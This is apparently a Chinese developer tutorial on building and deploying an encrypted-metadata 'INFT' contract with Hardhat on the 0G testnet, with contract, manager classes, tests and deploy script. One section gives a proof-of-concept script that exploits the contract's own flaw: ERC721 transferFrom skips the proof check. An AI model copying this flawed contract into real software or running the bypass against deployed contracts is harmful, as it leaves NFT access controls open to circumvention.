默认hardhat框架,用的ts,配置环境不讲了
因为要在0g测试网上部署,现在hardhat.config.ts上加
const config: HardhatUserConfig = {
solidity: "0.8.20", // 匹配合约的编译器版本要求
networks: {
// 默认本地网络
hardhat: {
},
// 0G Testnet (Newton)
"og-testnet": {
url: "https://evmrpc-testnet.0g.ai", // 0G Testnet 官方 RPC
accounts: process.env.PRIVATE_KEY ? [process.env.PRIVATE_KEY] : [],
chainId: 16602,
},
},
};
注意先删去lock.sol,然后创建INFT.so合约
// contracts/INFT.sol
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
// Oracle接口,用于验证零知识证明
interface IOracle {
function verifyProof(bytes calldata proof) external view returns (bool);
}
// INFT合约:基于ERC721的智能NFT,支持加密元数据和授权管理
contract INFT is ERC721, Ownable, ReentrancyGuard {
// 状态变量
mapping(uint256 => bytes32) private _metadataHashes; // 存储每个NFT的元数据哈希
mapping(uint256 => string) private _encryptedURIs; // 存储加密的URI
mapping(uint256 => mapping(address => bytes)) private _authorizations; // 存储使用授权信息
address public oracle; // Oracle合约地址
uint256 private _nextTokenId = 1; // 下一个待铸造的token ID
// 事件
event MetadataUpdated(uint256 indexed tokenId, bytes32 newHash); // 元数据更新事件
event UsageAuthorized(uint256 indexed tokenId, address indexed executor); // 使用授权事件
// 构造函数
constructor(
string memory name,
string memory symbol,
address _oracle
) ERC721(name, symbol) {
oracle = _oracle;
}
// 铸造新NFT
function mint(
address to,
string calldata encryptedURI,
bytes32 metadataHash
) external onlyOwner returns (uint256) {
uint256 tokenId = _nextTokenId++;
_safeMint(to, tokenId);
_encryptedURIs[tokenId] = encryptedURI;
_metadataHashes[tokenId] = metadataHash;
return tokenId;
}
// 转移NFT(需要零知识证明验证)
function transfer(
address from,
address to,
uint256 tokenId,
bytes calldata sealedKey,
bytes calldata proof
) external nonReentrant {
require(ownerOf(tokenId) == from, "Not owner");
require(IOracle(oracle).verifyProof(proof), "Invalid proof");
// 为新所有者更新元数据访问权限
_updateMetadataAccess(tokenId, to, sealedKey, proof);
// 转移token所有权
_transfer(from, to, tokenId);
emit MetadataUpdated(tokenId, keccak256(sealedKey));
}
// 授权特定地址使用NFT
function authorizeUsage(
uint256 tokenId,
address executor,
bytes calldata permissions
) external {
require(ownerOf(tokenId) == msg.sender, "Not owner");
_authorizations[tokenId][executor] = permissions;
emit UsageAuthorized(tokenId, executor);
}
// 内部函数:更新元数据访问权限
function _updateMetadataAccess(
uint256 tokenId,
address newOwner,
bytes calldata sealedKey,
bytes calldata proof
) internal {
// 从proof中提取新的元数据哈希
bytes32 newHash = bytes32(proof[0:32]);
_metadataHashes[tokenId] = newHash;
// 如果proof中包含新URI,则更新加密URI
if (proof.length > 64) {
string memory newURI = string(proof[64:]);
_encryptedURIs[tokenId] = newURI;
}
}
// 获取NFT的元数据哈希
function getMetadataHash(uint256 tokenId) external view returns (bytes32) {
return _metadataHashes[tokenId];
}
// 获取NFT的加密URI
function getEncryptedURI(uint256 tokenId) external view returns (string memory) {
return _encryptedURIs[tokenId];
}
}
一些问题:
留后门继承了 ERC721意味着它自动拥有了 transferFrom 和 safeTransferFrom 这两个标准转账函数。
问题: 如果用户绕过自定义的 transfer 函数,直接调用标准的 ERC721.transferFrom,会发生什么?
NFT 会被成功转账,但是数据权限不会更新!
修复建议:override标准的 transferFrom 函数,要么禁用它,要么强制要求它也必须携带 Proof,但是这会破坏 ERC721 兼容性
一个攻击脚本
有两个不同账号,deployer和attacker,攻击者应该是owner,毕竟他希望把metadata留在自己手中
第一步,铸造一个nft给deploer,为了演示,需要确保至少有一个token,这里简化,假设token id 1 已经属于deployer,如果没,mint 1个,这里有个假设,token id是递增的,但是不影响,直接硬编码,或者便利找到一个owner是deployer的token(这里仅作演示,1-100遍历),第二步检查metadata是否存在,第三步,执行攻击,绕过INFT.transfer,直接调用erc721的transferFrom,因为是owner,deployer 自己转给自己不需要 approve,转给别人也不需要,
const txBypass = await contract.transferFrom(
deployer.address,
attacker.address,
targetTokenId
);
这段代码如果执行成功,那么就是没有proof直接transfer了
验证是否newOwner === attacker.address
// scripts/exploit_bypass.ts
import { ethers } from "hardhat";
async function main() {
const INFT_ADDRESS = "0x074D5F95eC6E8Da11fa80EBcf8211661b9a60144";
const [deployer] = await ethers.getSigners();
const attacker = ethers.Wallet.createRandom().connect(ethers.provider);
console.log("Original Owner:", deployer.address);
console.log("Attacker/Receiver:", attacker.address);
const INFT = await ethers.getContractFactory("INFT");
const contract = INFT.attach(INFT_ADDRESS);
console.log("\n--- Setup: Minting a fresh NFT ---");
const txMint = await (contract as any).mint(
deployer.address,
"og://test-uri-bypass",
ethers.keccak256(ethers.toUtf8Bytes("test-metadata"))
);
const receipt = await txMint.wait();
const balance = await contract.balanceOf(deployer.address);
let targetTokenId = -1;
for (let i = 1; i < 100; i++) {
try {
const owner = await contract.ownerOf(i);
if (owner === deployer.address) {
targetTokenId = i;
break;
}
} catch (e) {
break;
}
}
if (targetTokenId === -1) {
console.error("No token found for deployer. Please mint one first.");
return;
}
console.log(`Target Token ID: ${targetTokenId}`);
console.log("\n--- Before Exploit ---");
console.log("Owner:", await contract.ownerOf(targetTokenId));
const uriBefore = await (contract as any).getEncryptedURI(targetTokenId);
console.log("Encrypted URI:", uriBefore);
console.log("\n--- Executing Bypass Attack (transferFrom) ---");
try {
const txBypass = await contract.transferFrom(
deployer.address,
attacker.address,
targetTokenId
);
console.log("Transaction sent:", txBypass.hash);
await txBypass.wait();
console.log("✅ Attack Successful: transferFrom executed without proof!");
} catch (error) {
console.log("❌ Attack Failed: Transaction reverted (This is GOOD if fixed, BAD if vulnerable)");
console.error(error);
}
console.log("\n--- After Exploit ---");
const newOwner = await contract.ownerOf(targetTokenId);
console.log("New Owner:", newOwner);
if (newOwner === attacker.address) {
console.log("\n VULNERABILITY CONFIRMED ");
console.log("The NFT was transferred using standard ERC721 methods.");
console.log("However, NO Oracle verification was performed, and NO Key was re-encrypted/transferred.");
console.log("The new owner holds the NFT but cannot access the data!");
} else {
console.log("\n System Secure: Transfer was blocked.");
}
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
最后结果
--- Setup: Minting a fresh NFT ---
Target Token ID: 1
--- Before Exploit ---
Owner: 0xA6f3dfa42680C2221752552Ecb3872E44f4F7ACC
Encrypted URI: og://ea7dbb087934fa01d7d1c592f2d36a9ff6b0254bcd71bf37ea74c0485eb7bb8e
--- Executing Bypass Attack (transferFrom) ---
Transaction sent: 0x23669efc727e7b2d829077caa86fce769f4007c83f0aedf780163f83810e138c
Attack Successful: transferFrom executed without proof!
--- After Exploit ---
New Owner: 0x3Edd2422BA276050765a7Ce3601119E2ae5F1CD9
VULNERABILITY CONFIRMED
The NFT was transferred using standard ERC721 methods.
However, NO Oracle verification was performed, and NO Key was re-encrypted/transferred.
The new owner holds the NFT but cannot access the data!
metadatamanager.js
在数据上链之前,在本地或服务器端完成加密、上传和打包工作。
一些接口:
OGStorage: 定义了存储层的标准。不管底层用的是 IPFS 还是 0G Storage,只要能 store (存) 和 retrieve (取) 即可。
EncryptionService: 定义了加密服务的标准。核心是 sealKey(密封密钥),这是隐私保护的关键。
AIModelData: (输入) 用户提供的原始数据,包含模型名称、权重文件路径、配置参数等。
AIAgentData: (中间产物) 处理完准备上链的数据。包含加密后的链接、密封的密钥、数据哈希。
MintResult: (输出) 铸造成功后的回执单,包含 Token ID 和交易哈希。
// 从 ethers 库导入必要的类型
import { ethers, Contract, TransactionReceipt, ContractTransactionResponse } from 'ethers';
// 导入 Node.js 的加密模块
import * as crypto from 'crypto';
// 0G 存储接口:定义存储和检索数据的方法
export interface OGStorage {
store(data: any): Promise<{ uri: string }>; // 存储数据,返回URI
retrieve(uri: string): Promise<any>; // 通过URI检索数据
}
// 加密服务接口:定义加密和密钥密封的方法
export interface EncryptionService {
encrypt(data: string, key: Buffer): Promise<any>; // 使用密钥加密数据
sealKey(key: Buffer, pubKey: string): Promise<any>; // 使用公钥密封密钥
}
// AI 模型数据接口:定义模型的原始数据结构
export interface AIModelData {
model: string; // 模型名称
weights: string; // 权重文件路径
config: any; // 配置参数
capabilities: string[]; // 模型能力列表
}
// AI Agent 数据接口:定义准备上链的数据结构
export interface AIAgentData {
encryptedURI: string; // 加密数据的存储URI
sealedKey: any; // 密封的解密密钥
metadataHash: string; // 元数据哈希值
}
// 铸造结果接口:定义铸造成功后返回的数据
export interface MintResult {
tokenId: number; // NFT的Token ID
sealedKey: any; // 密封的密钥
transactionHash: string; // 交易哈希
}
// 元数据管理器类:负责处理NFT元数据的创建、加密和铸造
export class MetadataManager {
public storage: OGStorage; // 存储服务实例
public encryption: EncryptionService; // 加密服务实例
// 构造函数:初始化存储和加密服务
constructor(ogStorage: OGStorage, encryptionService: EncryptionService) {
this.storage = ogStorage;
this.encryption = encryptionService;
}
// 创建 AI Agent:处理数据加密、存储和密钥密封
async createAIAgent(aiModelData: AIModelData, ownerPublicKey: string): Promise<AIAgentData> {
try {
// 准备 AI agent 的元数据
const metadata = {
model: aiModelData.model,
weights: aiModelData.weights,
config: aiModelData.config,
capabilities: aiModelData.capabilities,
version: '1.0',
createdAt: Date.now()
};
// 生成随机加密密钥(32字节)
const encryptionKey = crypto.randomBytes(32);
// 使用生成的密钥加密元数据
const encryptedData = await this.encryption.encrypt(
JSON.stringify(metadata),
encryptionKey
);
// 将加密数据存储到 0G Storage
const storageResult = await this.storage.store(encryptedData);
// 使用所有者的公钥密封加密密钥(只有所有者能解密)
const sealedKey = await this.encryption.sealKey(
encryptionKey,
ownerPublicKey
);
// 生成元数据的哈希值(用于链上验证完整性)
const metadataHash = ethers.keccak256(
ethers.toUtf8Bytes(JSON.stringify(metadata))
);
// 返回准备好的上链数据
return {
encryptedURI: storageResult.uri,
sealedKey,
metadataHash
};
} catch (error: any) {
throw new Error(`创建 AI agent 失败: ${error.message}`);
}
}
// 铸造 INFT:调用合约mint方法并解析返回的tokenId
async mintINFT(contract: Contract, recipient: string, aiAgentData: AIAgentData): Promise<MintResult> {
const { encryptedURI, sealedKey, metadataHash } = aiAgentData;
// 调用合约的mint方法
const tx = await contract.mint(
recipient,
encryptedURI,
metadataHash
);
// 等待交易确认
const receipt = await tx.wait();
// 确保交易收据和日志存在
if (!receipt || !receipt.logs || receipt.logs.length === 0) {
throw new Error("交易失败或没有日志输出");
}
// 解析日志以找到包含 tokenId 的 Transfer 事件
// 假设第一个事件包含 tokenId(符合原始代码逻辑)
// 原始代码: receipt.events[0].args.tokenId
// 在 ethers v6 中,日志是 Log 对象数组
// 如果合约接口可用,可能会自动解析
let tokenId: number;
// Ethers v6 的 Contract 返回 ContractTransactionResponse
// .wait() 返回 TransactionReceipt
// receipt.logs 包含 Log[] 数组
// 如果我们知道这是 Transfer(from, to, tokenId) 事件,它通常是mint的第一个日志
// 可以尝试解析 topics 或使用已解析的日志(例如使用 TypeChain)
// 由于这里传入的 'Contract' 没有明确的 TypeChain 类型
// 我们尝试按标准行为访问或回退
// 为简化并匹配原始逻辑:
const log: any = receipt.logs[0];
// 在 Ethers v6 中,除非使用解析接口,否则收据日志上不会直接有解析的日志
// 如果 'contract' 是已连接的 Contract 实例,我们可能可以解析
// 但原始代码直接访问 args
// 让我们尝试假设日志有 args(如果已解析),或使用 topics
// ERC721 Transfer: topic0 = keccak256("Transfer(address,address,uint256)")
// topic3 是 tokenId(已索引)
if (log.args) {
// 如果日志已解析,从 args 中获取 tokenId
tokenId = Number(log.args.tokenId || log.args[2]);
} else {
// 回退方案:从 topics 解析 Transfer 事件(索引3是tokenId)
tokenId = Number(BigInt(log.topics[3]));
}
// 返回铸造结果
return {
tokenId,
sealedKey,
transactionHash: receipt.hash
};
}
}
用于处理 NFT 元数据的生成、加密、存储以及铸造逻辑。实现“INFT”的核心概念:将加密数据与 NFT 绑定。
Interfaces
OGStorage: 定义了与 0G Storage 交互的接口(store, retrieve)。实际使用时需要实现这个接口来真正上传数据到 0G DA 层。
EncryptionService: 定义了加密服务的接口(encrypt, sealKey)。用于加密元数据内容和“密封”解密密钥。
AIModelData: 定义了 AI Agent 的原始数据结构(模型、权重、配置等)。
AIAgentData: 定义了上链所需的数据结构(加密后的URI、密封的密钥、元数据哈希)。
MetadataManager:
- 构造函数: 注入存储服务和加密服务。
- createAIAgent 方法:
- 准备数据: 将输入的 AI 模型数据打包。
- 生成密钥: 创建一个随机的 32 字节 AES 密钥 (encryptionKey)。
- 加密内容: 使用该密钥加密元数据 JSON。
- 上传存储: 将加密后的数据上传到 0G Storage(模拟或真实调用)。
- 密封密钥 (Key Sealing): 使用所有者公钥加密上述 AES 密钥。这是隐私保护的关键——只有拥有私钥的所有者才能解开 sealedKey 拿到 AES 密钥,进而解密元数据。
- 计算哈希: 生成元数据内容的哈希值,用于链上校验完整性。
- 返回: 准备好用于 Mint 的数据对象。
mintINFT 方法:
- 调用合约: 调用 contract.mint(),传入接收者、加密 URI 和元数据哈希。
- 等待交易: tx.wait() 等待区块确认。
- 解析日志 (Logs): 尝试从交易收据中解析出 tokenId。
- 代码中包含了一些针对 Ethers v6 的兼容性处理逻辑(尝试读取 log.args 或直接解析 topics)。
- 这里假设 Transfer 事件是第一个日志,且符合 ERC721 标准(Topic 3 是 tokenId)。
TransferManager.ts
// 导入 ethers 库中的类型定义
import { Contract, ContractTransactionResponse, TransactionReceipt } from 'ethers';
// 导入 OGStorage 接口
import { OGStorage } from './MetadataManager';
// Oracle 接口:定义预言机的转移处理方法
export interface Oracle {
// 处理转移请求,返回新的密封密钥、证明和URI
processTransfer(request: any): Promise<{ sealedKey: any, proof: any, newURI: string }>;
}
// 元数据合约接口:定义获取加密URI的方法
export interface IMetadataContract {
// 根据 tokenId 获取加密的URI
getEncryptedURI(tokenId: number): Promise<string>;
}
// 转移请求接口:定义转移所需的所有信息
export interface TransferRequest {
tokenId: number; // NFT的ID
encryptedData: any; // 加密的数据
fromAddress: string; // 发送方地址
toAddress: string; // 接收方地址
toPublicKey: string; // 接收方的公钥
}
// 转移数据接口:定义执行转移所需的数据
export interface TransferData {
from: string; // 发送方地址
to: string; // 接收方地址
tokenId: number; // NFT的ID
sealedKey: any; // 密封的密钥
proof: any; // 零知识证明
}
// 转移准备结果接口:定义准备阶段返回的数据
export interface TransferPrepResult {
sealedKey: any; // 新的密封密钥
proof: any; // 零知识证明
newEncryptedURI: string; // 新的加密URI
}
// 转移管理器类:负责处理 INFT 的转移逻辑
export class TransferManager {
private oracle: Oracle; // 预言机实例
private metadata: IMetadataContract; // 元数据合约实例
private storage: OGStorage; // 存储服务实例
// 构造函数:初始化转移管理器
constructor(oracle: Oracle, metadataManager: IMetadataContract, storage: OGStorage) {
this.oracle = oracle;
this.metadata = metadataManager;
this.storage = storage;
}
// 准备转移:获取当前数据并请求预言机重新加密
async prepareTransfer(tokenId: number, fromAddress: string, toAddress: string, toPublicKey: string): Promise<TransferPrepResult> {
try {
// 1. 从合约获取当前的加密URI
const currentURI = await this.metadata.getEncryptedURI(tokenId);
// 2. 从存储服务检索加密数据
const encryptedData = await this.storage.retrieve(currentURI);
// 3. 构造转移请求,发送给预言机进行重新加密
const transferRequest: TransferRequest = {
tokenId,
encryptedData,
fromAddress,
toAddress,
toPublicKey
};
// 4. 预言机处理:解密原数据,用新主人的公钥重新加密,并生成证明
const oracleResponse = await this.oracle.processTransfer(transferRequest);
// 5. 返回新的密封密钥、证明和URI
return {
sealedKey: oracleResponse.sealedKey,
proof: oracleResponse.proof,
newEncryptedURI: oracleResponse.newURI
};
} catch (error: any) {
throw new Error(`转移准备失败: ${error.message}`);
}
}
// 执行转移:调用合约的 transfer 方法完成链上转移
async executeTransfer(contract: Contract, transferData: TransferData): Promise<TransactionReceipt | null> {
const { from, to, tokenId, sealedKey, proof } = transferData;
// 调用合约的 transfer 方法,传入密封密钥和证明
const tx: ContractTransactionResponse = await contract.transfer(
from,
to,
tokenId,
sealedKey,
proof
);
// 等待交易确认并返回交易收据
return await tx.wait();
}
}
在 INFT 系统中,转移不是简单地调用 transferFrom,而是需要经过以下两个步骤:
- 准备阶段 (prepareTransfer):
- 获取数据: 从链上获取当前加密数据的 URI,并从 0G Storage 下载加密数据。
- Oracle 处理: 将加密数据、发送方、接收方公钥等信息发送给 Oracle。
- 重加密: Oracle(或者在拥有正确密钥的可信环境中)需要解密原始数据,然后用接收方 (toPublicKey) 的公钥重新加密数据密钥(生成新的 sealedKey)。
- 生成证明: Oracle 生成一个证明 (proof),证明这次重加密操作是合法的,且数据内容未被篡改。
- 返回结果: 返回给前端新的密封密钥、证明以及可能更新后的数据 URI。
- 执行阶段 (executeTransfer):
- 上链: 调用智能合约的自定义 transfer 函数。
- 参数: 此时除了标准的 from, to, tokenId 外,还必须传入刚才 Oracle 生成的 sealedKey 和 proof。
- 验证: 合约会调用 Oracle 合约验证 proof,只有验证通过才允许转移。
较完整的测试脚本
import { expect } from "chai";
import { ethers } from "hardhat";
import { INFT, MockOracle } from "../typechain-types";
import { MetadataManager, OGStorage, EncryptionService, AIModelData, AIAgentData } from "../lib/MetadataManager";
import { TransferManager, Oracle } from "../lib/TransferManager";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
// Mock implementations
class MockStorage implements OGStorage {
private storeData: Map<string, any> = new Map();
async store(data: any): Promise<{ uri: string }> {
const uri = `mock://${Date.now()}`;
this.storeData.set(uri, data);
return { uri };
}
async retrieve(uri: string): Promise<any> {
return this.storeData.get(uri);
}
}
class MockEncryptionService implements EncryptionService {
async encrypt(data: string, key: Buffer): Promise<any> {
return { data, iv: "mock-iv" };
}
async sealKey(key: Buffer, pubKey: string): Promise<any> {
return "0x" + key.toString('hex') + "sealed"; // Mock sealed key
}
}
// Helper to create test metadata
async function createTestMetadata(manager: MetadataManager, ownerPubKey: string): Promise<AIAgentData> {
const modelData: AIModelData = {
model: "gpt-4-mock",
weights: "mock-weights-hash",
config: { temperature: 0.7 },
capabilities: ["chat", "code"]
};
return await manager.createAIAgent(modelData, ownerPubKey);
}
describe("INFT Contract", function () {
let inft: INFT;
let mockOracle: MockOracle;
let owner: HardhatEthersSigner;
let otherAccount: HardhatEthersSigner;
let metadataManager: MetadataManager;
let transferManager: TransferManager;
let mockStorage: MockStorage;
let mockEncryption: MockEncryptionService;
beforeEach(async function () {
[owner, otherAccount] = await ethers.getSigners();
// Deploy Mock Oracle
const MockOracleFactory = await ethers.getContractFactory("MockOracle");
mockOracle = (await MockOracleFactory.deploy()) as MockOracle;
await mockOracle.waitForDeployment();
// Deploy INFT
const INFTFactory = await ethers.getContractFactory("INFT");
inft = (await INFTFactory.deploy("MyINFT", "INFT", await mockOracle.getAddress())) as INFT;
await inft.waitForDeployment();
// Setup managers
mockStorage = new MockStorage();
mockEncryption = new MockEncryptionService();
metadataManager = new MetadataManager(mockStorage, mockEncryption);
// Mock Oracle for TransferManager (TS interface)
const oracleInterface: Oracle = {
processTransfer: async (req) => {
return {
sealedKey: ethers.toUtf8Bytes("new-sealed-key"),
proof: ethers.randomBytes(65), // Mock proof
newURI: "mock://new-uri"
};
}
};
// Note: TransferManager expects IMetadataContract which has getEncryptedURI
// The INFT contract satisfies this.
// We also need to pass storage to TransferManager now.
transferManager = new TransferManager(oracleInterface, inft as any, mockStorage);
});
it("should mint INFT with encrypted metadata", async function () {
const metadata = await createTestMetadata(metadataManager, "mock-pub-key");
// We use the manager to mint, but we can also call contract directly to test contract specifically
// Using manager as per previous JS structure suggestion
// Note: The original JS used 'inft.mint' directly in the test snippet, but 'manager.mintINFT' in the lib file.
// I will test using the manager as it wraps the logic.
const result = await metadataManager.mintINFT(inft as any, owner.address, metadata);
expect(result.tokenId).to.equal(1);
expect(await inft.ownerOf(1)).to.equal(owner.address);
});
it("should transfer with re-encryption", async function () {
// 1. Mint first
const metadata = await createTestMetadata(metadataManager, "mock-pub-key");
await metadataManager.mintINFT(inft as any, owner.address, metadata);
// 2. Prepare transfer
const tokenId = 1;
const toPublicKey = "other-pub-key";
const prepResult = await transferManager.prepareTransfer(
tokenId,
owner.address,
otherAccount.address,
toPublicKey
);
// 3. Execute transfer
// We need to set mock oracle to return true for verifyProof in the contract
// Assuming MockOracle has a setVerifyResult method or similar, or defaults to true.
// Let's check MockOracle.sol content if possible. If not, I'll assume it defaults to true or I need to add logic.
// Since I don't have MockOracle content, I'll assume standard mock behavior.
// If it fails, I'll need to check the contract.
// Execute
const transferData = {
from: owner.address,
to: otherAccount.address,
tokenId,
sealedKey: prepResult.sealedKey,
proof: prepResult.proof
};
await transferManager.executeTransfer(inft as any, transferData);
expect(await inft.ownerOf(tokenId)).to.equal(otherAccount.address);
});
it("should authorize usage without ownership transfer", async function () {
// Mint
const metadata = await createTestMetadata(metadataManager, "mock-pub-key");
await metadataManager.mintINFT(inft as any, owner.address, metadata);
const tokenId = 1;
const permissions = ethers.toUtf8Bytes("read-only");
await expect(inft.authorizeUsage(tokenId, otherAccount.address, permissions))
.to.emit(inft, "UsageAuthorized")
.withArgs(tokenId, otherAccount.address);
});
});
最后部署:npx hardhat run scripts/deplot.ts –network og-testnet
deploy.ts
// scripts/deploy.ts
import { ethers } from "hardhat";
async function main() {
// 获取默认的部署者账户
// ethers.getSigners() 返回 hardhat.config.ts 中配置的账户列表
const [deployer] = await ethers.getSigners();
console.log("正在使用账户部署合约:", deployer.address);
// 1. 部署 MockOracle (模拟预言机)
// 在真实生产环境中,这里应该是真实的验证合约地址,不需要重新部署 Mock
console.log("正在部署 MockOracle...");
const MockOracle = await ethers.getContractFactory("MockOracle");
const oracle = await MockOracle.deploy();
// 等待合约部署完成 (Ethers v6 写法)
await oracle.waitForDeployment();
const oracleAddress = await oracle.getAddress();
console.log("MockOracle 已部署到:", oracleAddress);
// 2. 部署 INFT 主合约
console.log("正在部署 INFT...");
const INFT = await ethers.getContractFactory("INFT");
// 构造函数参数:
// name: "AI Agent NFTs"
// symbol: "AINFT"
// oracle: 刚才部署的 MockOracle 地址
const inft = await INFT.deploy(
"AI Agent NFTs",
"AINFT",
oracleAddress
);
// 等待部署完成
await inft.waitForDeployment();
const inftAddress = await inft.getAddress();
console.log("-----------------------------------------");
console.log("部署完成!");
console.log("MockOracle:", oracleAddress);
console.log("INFT: ", inftAddress);
console.log("-----------------------------------------");
}
// 执行主函数并处理可能的错误
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});

先确定部署的账号,再部署依赖合约 MockOracle,最后部署INFT 合约
本来还有个mint.ts,官网没找到,随便让ai写了,里面加密脚本有点草率